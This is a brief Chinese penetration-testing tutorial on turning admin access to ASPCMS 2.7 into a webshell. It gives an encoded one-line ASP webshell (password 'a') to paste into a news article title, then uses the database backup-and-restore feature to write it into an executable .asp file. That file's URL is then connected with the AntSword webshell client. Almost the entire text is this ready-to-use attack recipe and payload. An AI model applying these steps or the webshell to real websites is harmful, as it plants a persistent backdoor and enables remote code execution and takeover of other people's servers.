123.网络安全渗透测试—[CMS后台 getwebshell]—[aspcms2.7后台 getwebshell]

我认为，无论是学习安全还是从事安全的人，多多少少都有些许的情怀和使命感！！！

一、aspcms2.7后台 getwebshell

1、第一步：编辑文章标题

进入后台---->内容维护---->文章新闻管理---->第一条新闻---->标题中加入以下内容：utf7一句话(密码为a)
┼攠數畣整爠煥敵瑳∨≡┩愾

2、第二步：数据库备份恢复

扩展功能---->数据库备份恢复---->开始备份---->恢复此备份---->aspcms默认的数据库名为#5Dp8Gh.asp(但是在浏览器访问的时候要把#编码为%23，所以就是：%235Dp8Gh.asp)---->访问刚刚恢复的数据库：http://www.aspcms27.com/data/%235Dp8Gh.asp---->蚁剑连接：http://www.aspcms27.com/data/%235Dp8Gh.asp